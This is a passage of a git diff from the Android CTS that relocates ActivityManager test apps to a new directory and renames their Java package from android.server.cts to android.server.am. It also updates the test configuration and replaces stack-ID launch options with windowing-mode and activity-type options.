+ android:name="android.server.am.AspectRatioTests$MaxAspectRatioUnsetActivity"
+ android:label="MaxAspectRatioUnsetActivity"
+ android:resizeableActivity="false" />
+
+ <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$FirstActivity" />
+
+ <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$SecondActivity"/>
+
+ <activity android:name="android.server.am.ActivityManagerSplitScreenTests$SplitScreenActivity"/>
+
+ <activity
+ android:name="android.server.am.ActivityManagerSplitScreenTests$ToSideActivity"
+ android:taskAffinity="nobody.butActivityManagerSplitScreenTests.ToSideActivity" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests of ActivityManager"
+ android:targetPackage="android.server.cts.am" />
+
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/tests/framework/base/activitymanager/AndroidTest.xml
similarity index 71%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
rename to tests/framework/base/activitymanager/AndroidTest.xml
index 52b8d55..1542706 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
+++ b/tests/framework/base/activitymanager/AndroidTest.xml
@@ -13,20 +13,24 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<configuration description="Config for CTS Sample host test cases">
+<configuration description="Config for CTS ActivityManager test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsActivityManagerDeviceTestCases.apk" />
<option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
<option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
<option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
<option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
<option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
+ <option name="test-file-name" value="CtsDevicePrereleaseSdkApp.apk" />
<option name="test-file-name" value="CtsDisplayServiceApp.apk" />
<option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
+ <option name="test-file-name" value="CtsDeviceTranslucentTestApp26.apk" />
</target_preparer>
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsServicesHostTestCases.jar" />
- <option name="runtime-hint" value="4m44s" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.server.cts.am"/>
+ <option name="runtime-hint" value="1h"/>
</test>
</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/tests/framework/base/activitymanager/app/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
rename to tests/framework/base/activitymanager/app/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
rename to tests/framework/base/activitymanager/app/AndroidManifest.xml
index 63f41d1..2bed053 100755
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.cts">
+ package="android.server.am">
<!-- virtual display test permissions -->
<uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
@@ -299,9 +299,6 @@
android:exported="true"
android:launchMode="singleInstance"
/>
- <activity android:name=".FinishableActivity"
- android:exported="true"
- />
<activity android:name=".NightModeActivity"
android:exported="true"
android:configChanges="uiMode"
@@ -318,7 +315,7 @@
android:enabled="true"
android:exported="true" >
<intent-filter>
- <action android:name="android.server.cts.LAUNCH_BROADCAST_ACTION"/>
+ <action android:name="android.server.am.LAUNCH_BROADCAST_ACTION"/>
</intent-filter>
</receiver>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml b/tests/framework/base/activitymanager/app/res/anim/animation_with_background.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml
rename to tests/framework/base/activitymanager/app/res/anim/animation_with_background.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml b/tests/framework/base/activitymanager/app/res/layout/assistant.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml
rename to tests/framework/base/activitymanager/app/res/layout/assistant.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml b/tests/framework/base/activitymanager/app/res/layout/floating.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml
rename to tests/framework/base/activitymanager/app/res/layout/floating.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml b/tests/framework/base/activitymanager/app/res/layout/font_scale.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml
rename to tests/framework/base/activitymanager/app/res/layout/font_scale.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml b/tests/framework/base/activitymanager/app/res/layout/main.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml
rename to tests/framework/base/activitymanager/app/res/layout/main.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml b/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml
similarity index 85%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
rename to tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml
index de52e61..3c249bf 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
+++ b/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml
@@ -15,7 +15,7 @@
~ limitations under the License
-->
-<android.server.cts.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
+<android.server.am.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
-</android.server.cts.LifecycleLogView>
\ No newline at end of file
+</android.server.am.LifecycleLogView>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml b/tests/framework/base/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
rename to tests/framework/base/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml b/tests/framework/base/activitymanager/app/res/layout/task_overlay.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml
rename to tests/framework/base/activitymanager/app/res/layout/task_overlay.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml b/tests/framework/base/activitymanager/app/res/layout/translucent.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml
rename to tests/framework/base/activitymanager/app/res/layout/translucent.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml b/tests/framework/base/activitymanager/app/res/layout/virtual_display_layout.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml
rename to tests/framework/base/activitymanager/app/res/layout/virtual_display_layout.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml b/tests/framework/base/activitymanager/app/res/values/colors.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml
rename to tests/framework/base/activitymanager/app/res/values/colors.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml b/tests/framework/base/activitymanager/app/res/values/styles.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
rename to tests/framework/base/activitymanager/app/res/values/styles.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml b/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml
similarity index 81%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
rename to tests/framework/base/activitymanager/app/res/xml/interaction_service.xml
index 7cf92a0..f586037 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
+++ b/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml
@@ -15,6 +15,6 @@
-->
<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:sessionService="android.server.cts.AssistantVoiceInteractionSessionService"
- android:recognitionService="android.server.cts.AssistantVoiceInteractionSessionService"
+ android:sessionService="android.server.am.AssistantVoiceInteractionSessionService"
+ android:recognitionService="android.server.am.AssistantVoiceInteractionSessionService"
android:supportsAssist="true" />
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
index 9d29917..8e335a8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.content.res.Configuration;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java
index 7bf847e..3d7aa8a 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
/**
* An additional launching activity used for alternating between two activities.
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java
similarity index 89%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java
index b6c0667..0e74977 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java
@@ -14,8 +14,9 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -37,7 +38,7 @@
final ActivityOptions options = ActivityOptions.makeBasic();
options.setLaunchBounds(new Rect(0, 0, 500, 500));
- options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
+ options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
caller.startActivity(intent, options.toBundle());
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java
index 5ae923e..987ac87 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java
similarity index 94%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java
index 18f290f..0e0e1fe 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java
@@ -14,8 +14,9 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -77,7 +78,7 @@
}
final ActivityOptions options = ActivityOptions.makeBasic();
- options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
+ options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
caller.startActivity(intent, options.toBundle());
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
index 51c2348..b772ce2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.ComponentName;
import android.content.Context;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java
index e711ac4..81ed202 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.Intent;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java
index 38a71f1..de56159 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.content.Context;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java
index 8de1cda..3c4fcb0 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java
index 24fa2fc..8d0e1e2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
index 24be43a..cd0c745 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
@@ -25,7 +25,7 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
-import android.server.cts.tools.ActivityLauncher;
+import android.server.am.tools.ActivityLauncher;
import android.util.Log;
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java
index 139c648..0e73939 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
/**
* Activity with DialogWhenLarge Theme.
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java
index 726a756..30dc69c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java
index c833eb2..e19c4a1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.app.KeyguardManager;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java
index 007df5f..ce6dbb2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java
index a5620c1..d8c8b4f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java
@@ -13,7 +13,7 @@
* License for the specific language governing permissions and limitations
* under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.content.res.Configuration;
import android.content.res.TypedArray;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java
index 8789f68..8699992 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java
@@ -13,7 +13,7 @@
* License for the specific language governing permissions and limitations
* under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.content.res.Configuration;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java
index f8c6d0c..0d60e66 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java
index 860f2ae..c7113e6 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.KeyguardManager;
import android.app.KeyguardManager.KeyguardDismissCallback;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java
index 352cf04..f69dc5d 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.KeyguardManager;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java
index ffd5aee..2d7ca6f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.res.Configuration;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java
index 2d562ff..c67e9dd 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java
index 62839a4..116bd22 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java
similarity index 93%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java
index 6e713ec..01a2fb1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java
@@ -14,12 +14,12 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
-import android.server.cts.tools.ActivityLauncher;
+import android.server.am.tools.ActivityLauncher;
import android.util.Log;
/** Broadcast receiver that can launch activities. */
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java
index e2b4786..db1119d 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
